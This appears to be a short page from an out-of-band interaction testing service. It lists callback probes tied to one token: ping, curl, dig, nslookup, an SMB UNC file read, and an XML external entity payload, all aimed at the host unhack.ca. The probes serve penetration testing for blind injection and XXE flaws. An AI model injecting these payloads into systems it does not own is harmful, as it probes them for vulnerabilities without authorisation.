$ ping -c1 -p 008f5e11fec82a1d4371d02eef5ae900 unhack.ca
$ curl http://unhack.ca/p/8f5e11fec82a1d4371d02eef5ae9
$ dig 8f5e11fec82a1d4371d02eef5ae9 @unhack.ca
$ dig 8f5e11fec82a1d4371d02eef5ae9.ns.unhack.ca
C:\> nslookup 8f5e11fec82a1d4371d02eef5ae9 unhack.ca
C:\> type \\unhack.ca\8f5e11fec82a1d4371d02eef5ae9\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/8f5e11fec82a1d4371d02eef5ae9">]>
<foo>&xxe;</foo>
Waiting for ping...